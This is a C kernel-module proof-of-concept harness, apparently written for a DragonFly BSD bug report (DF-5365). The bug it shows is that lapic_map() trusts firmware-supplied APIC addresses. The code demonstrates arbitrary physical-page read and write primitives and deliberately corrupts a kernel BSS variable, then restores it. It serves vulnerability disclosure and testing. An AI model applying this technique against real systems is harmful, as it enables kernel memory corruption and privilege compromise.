DF-5365 / df5365_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 | /* * DF-5365 harness -- lapic_map() accepts any firmware-supplied physical * address for the Local APIC register page and the kernel then READS and * WRITES through it. * * Bug: lapic_map() (sys/platform/pc64/apic/lapic.c:1081-1085) does * * lapic_mem = pmap_mapdev_uncacheable(lapic_addr, sizeof(struct LAPIC)); * * with zero validation of lapic_addr. The value comes straight from * firmware tables: * * - MADT LocalApicAddr acpi_madt.c:451 (probe) / :503,:528-531 * (pass1, incl. LOCAL_APIC_ADDRESS_OVERRIDE entries) * -> madt_lapic_enumerate(): lapic_map(lapic_addr) acpi_madt.c:530 * only special value rejected anywhere on the path: 0 * (acpi_madt.c:479-487, mptable.c:762 KKASSERT(lapic_addr != 0)) * - MP config table cth->apic_address mptable.c:761,:805 * * The CPU's *actual* APIC base is in MSR_IA32_APICBASE (0x1b) and is never * cross-checked. A crafted MADT/MP-table (QEMU: patched BIOS/pflash; the * -acpitable path is defeated because sdt_search() returns the first, i.e. * QEMU's own, APIC table -- same situation as DF-1042/DF-1064) therefore * selects an ARBITRARY physical page that lapic_init() (lapic.c:174-434) * and lapic_timer_calibrate() (lapic.c:562-662) then read and write at * fixed APIC-register offsets with partially controlled 32-bit values. * * On xAPIC hardware (x2apic_enable == 0: default QEMU CPU models, most * bare metal, or hw.x2apic_enable=0) every LAPIC_WRITE below IS the * production store instruction -- LAPIC_WRITE == LAPIC_MEM_WRITE * (lapic.h:113-119). * * This kld module proves the primitive on a running system by calling the * production lapic_map() with two attacker-style addresses: * * Test A: a freshly allocated RAM page (full lapic_init() write set) * Test B: the physical page of a live kernel BSS symbol, offset so the * "EOI" store (lapic.c:406-408) lands exactly on * cpu_id_to_apic_id[3] -- kernel data corrupted by an "APIC * register write" (0xffffffff oneshot-arm value). * * Everything is restored inside a critical section; the only lasting * effect is one leaked mapdev KVA page (noted), acceptable in a harness. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <machine/cpufunc.h> #include <machine/specialreg.h> #include <machine/pmap.h> #include <machine/intr_machdep.h> /* XTIMER_OFFSET, XSPURIOUSINT_OFFSET */ #include <sys/thread2.h> #include <vm/pmap.h> /* pmap_kextract */ #include <machine_base/apic/lapic.h> /* lapic_t, lapic_mem, LAPIC_MEM_* */ /* cpu_id_to_apic_id comes from machine_base/apic/lapic.h (lapic.c:122) */ #define FILL 0xAAAAAAAAu static __inline u_int reg32(void *kva, int off) { return *(volatile u_int *)((char *)kva + off); } /* * The exact store sequence lapic_init(TRUE/FALSE) + calibration perform on * the mapped page (xAPIC mode). Each line cites its production source. */ static void df5365_production_write_set(void) { u_int temp; /* lapic.c:272-282 LINT0 RMW (BSP: DM_EXTINT, masked if ioapic) */ temp = LAPIC_MEM_READ(lvt_lint0); temp &= ~(APIC_LVT_MASKED | APIC_LVT_TRIG_MASK | APIC_LVT_POLARITY_MASK | APIC_LVT_DM_MASK); temp |= APIC_LVT_DM_EXTINT | APIC_LVT_MASKED; LAPIC_MEM_WRITE(lvt_lint0, temp); /* lapic.c:293-299 LINT1 RMW (masked NMI) */ temp = LAPIC_MEM_READ(lvt_lint1); temp &= ~(APIC_LVT_MASKED | APIC_LVT_TRIG_MASK | APIC_LVT_POLARITY_MASK | APIC_LVT_DM_MASK); temp |= APIC_LVT_MASKED | APIC_LVT_DM_NMI; LAPIC_MEM_WRITE(lvt_lint1, temp); /* lapic.c:305-306 error + pcint masked */ LAPIC_MEM_WRITE(lvt_error, LAPIC_MEM_READ(lvt_error) | APIC_LVT_MASKED); LAPIC_MEM_WRITE(lvt_pcint, LAPIC_MEM_READ(lvt_pcint) | APIC_LVT_MASKED); /* lapic.c:311-315 lvt_timer vector|masked */ temp = LAPIC_MEM_READ(lvt_timer); temp &= ~APIC_LVTT_VECTOR; temp |= XTIMER_OFFSET | APIC_LVTT_MASKED; LAPIC_MEM_WRITE(lvt_timer, temp); /* lapic.c:322-324 TPR */ temp = LAPIC_MEM_READ(tpr); temp &= ~APIC_TPR_PRIO; LAPIC_MEM_WRITE(tpr, temp); /* lapic.c:376-400 SVR enable + spurious vector */ temp = LAPIC_MEM_READ(svr); temp |= APIC_SVR_ENABLE; temp &= ~APIC_SVR_FOCUS_DISABLE; temp &= ~APIC_SVR_VECTOR; temp |= XSPURIOUSINT_OFFSET; LAPIC_MEM_WRITE(svr, temp); /* lapic.c:406-408 three EOI stores of 0 */ LAPIC_MEM_WRITE(eoi, 0); LAPIC_MEM_WRITE(eoi, 0); LAPIC_MEM_WRITE(eoi, 0); /* lapic.c:440 (lapic_timer_set_divisor(0)) */ LAPIC_MEM_WRITE(dcr_timer, APIC_TDCR_2); /* lapic.c:451/:493/:542/:591 (oneshot arm during calibration) */ LAPIC_MEM_WRITE(icr_timer, APIC_TIMER_MAX_COUNT); } static int df5365_modevent(module_t mod, int type, void *arg) { uint64_t apicbase_msr; vm_paddr_t phys; volatile lapic_t *saved_lapic_mem; void *kva; u_int saved0, after0; int hits; switch (type) { case MOD_LOAD: apicbase_msr = rdmsr(MSR_APICBASE); kprintf("DF5365: MSR_APICBASE=0x%llx -> real APIC page 0x%llx\n", (unsigned long long)apicbase_msr, (unsigned long long)(apicbase_msr & ~0xFFFLL)); kprintf("DF5365: lapic_mem=%p (production state)\n", (void *)(intptr_t)lapic_mem); kprintf("DF5365: offsets: lint0=0x%x lint1=0x%x err=0x%x " "pcint=0x%x tmr=0x%x tpr=0x%x svr=0x%x eoi=0x%x " "dcr=0x%x icr_tm=0x%x\n", (int)__offsetof(struct LAPIC, lvt_lint0), (int)__offsetof(struct LAPIC, lvt_lint1), (int)__offsetof(struct LAPIC, lvt_error), (int)__offsetof(struct LAPIC, lvt_pcint), (int)__offsetof(struct LAPIC, lvt_timer), (int)__offsetof(struct LAPIC, tpr), (int)__offsetof(struct LAPIC, svr), (int)__offsetof(struct LAPIC, eoi), (int)__offsetof(struct LAPIC, dcr_timer), (int)__offsetof(struct LAPIC, icr_timer)); /* * ---- Test A: attacker-chosen ordinary RAM page ---- */ kva = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO); crit_enter(); saved_lapic_mem = lapic_mem; phys = pmap_kextract((vm_offset_t)kva); memset(kva, 0xAA, PAGE_SIZE); /* attacker-visible contents */ /* PRODUCTION CALL: what madt_lapic_enumerate/mptable do with * the firmware value. No validation inside. */ lapic_map(phys); /* READ primitive: LAPIC_MEM_READ returns attacker data * (production: LAPIC_READID / LAPIC_READ(version) etc.) */ kprintf("DF5365: A: mapped attacker PA 0x%llx (kva %p)\n", (unsigned long long)phys, kva); kprintf("DF5365: A: LAPIC_MEM_READ(version)=%08x " "(attacker fill 0x%08x) READ-PRIMITIVE %s\n", LAPIC_MEM_READ(version), FILL, LAPIC_MEM_READ(version) == FILL ? "CONFIRMED" : "?"); /* WRITE primitive: the production lapic_init() store set */ df5365_production_write_set(); hits = 0; if (reg32(kva, __offsetof(struct LAPIC, eoi)) == 0) { kprintf("DF5365: A: eoi(+0x%x) == 0x%08x (lapic.c:406) " "WRITE-CONFIRMED\n", (int)__offsetof(struct LAPIC, eoi), reg32(kva, __offsetof(struct LAPIC, eoi))); hits++; } if (reg32(kva, __offsetof(struct LAPIC, icr_timer)) == APIC_TIMER_MAX_COUNT) { kprintf("DF5365: A: icr_timer(+0x%x) == 0xffffffff " "(lapic.c:451) WRITE-CONFIRMED\n", (int)__offsetof(struct LAPIC, icr_timer)); hits++; } if (reg32(kva, __offsetof(struct LAPIC, dcr_timer)) == APIC_TDCR_2) { kprintf("DF5365: A: dcr_timer(+0x%x) == 0x%02x " "(lapic.c:440) WRITE-CONFIRMED\n", (int)__offsetof(struct LAPIC, dcr_timer), APIC_TDCR_2); hits++; } if (reg32(kva, __offsetof(struct LAPIC, svr)) & APIC_SVR_ENABLE) hits++; if (reg32(kva, __offsetof(struct LAPIC, lvt_lint0)) != FILL) hits++; if (reg32(kva, __offsetof(struct LAPIC, lvt_lint1)) != FILL) hits++; if (reg32(kva, __offsetof(struct LAPIC, lvt_timer)) != FILL) hits++; kprintf("DF5365: A: svr=0x%08x lint0=0x%08x lint1=0x%08x " "tmr=0x%08x (fill was 0x%08x)\n", reg32(kva, __offsetof(struct LAPIC, svr)), reg32(kva, __offsetof(struct LAPIC, lvt_lint0)), reg32(kva, __offsetof(struct LAPIC, lvt_lint1)), reg32(kva, __offsetof(struct LAPIC, lvt_timer)), FILL); lapic_mem = saved_lapic_mem; crit_exit(); kfree(kva, M_DEVBUF); kprintf("DF5365: A: %d/7 register cells of the attacker page " "were written by the production store set -> %s\n", hits, hits >= 5 ? "ARBITRARY-PA WRITE CONFIRMED" : "partial"); /* * ---- Test B: kernel BSS corruption via the calibration * "icr_timer" store ---- * base = &cpu_id_to_apic_id[3] - offsetof(icr_timer), so the * oneshot arm store (lapic.c:451, APIC_TIMER_MAX_COUNT) * overwrites cpu_id_to_apic_id[3] (value 3 on this guest) * with 0xffffffff. */ crit_enter(); saved_lapic_mem = lapic_mem; saved0 = *(volatile u_int *)&cpu_id_to_apic_id[3]; { vm_offset_t tva = (vm_offset_t)&cpu_id_to_apic_id[3] - __offsetof(struct LAPIC, icr_timer); phys = pmap_kextract(tva); lapic_map(phys); /* PRODUCTION CALL, again */ kprintf("DF5365: B: mapped kernel BSS PA 0x%llx so " "that 'icr_timer' aliases cpu_id_to_apic_id[3]\n", (unsigned long long)phys); kprintf("DF5365: B: cpu_id_to_apic_id[3] before=0x%08x" "\n", saved0); /* the oneshot arm store from lapic.c:451 */ LAPIC_MEM_WRITE(icr_timer, APIC_TIMER_MAX_COUNT); after0 = *(volatile u_int *)&cpu_id_to_apic_id[3]; kprintf("DF5365: B: cpu_id_to_apic_id[3] after " "=0x%08x -> KERNEL-BSS CORRUPTION %s\n", after0, after0 == APIC_TIMER_MAX_COUNT && after0 != saved0 ? "CONFIRMED" : "not-confirmed"); } /* restore */ *(volatile u_int *)&cpu_id_to_apic_id[3] = saved0; lapic_mem = saved_lapic_mem; crit_exit(); kprintf("DF5365: state restored (cpu_id_to_apic_id[3]" "=0x%08x lapic_mem=%p)\n", cpu_id_to_apic_id[3], (void *)(intptr_t)lapic_mem); kprintf("DF5365: done\n"); return 0; default: return 0; } } static moduledata_t df5365_mod = { "df5365", df5365_modevent, NULL }; DECLARE_MODULE(df5365, df5365_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(df5365, 1); |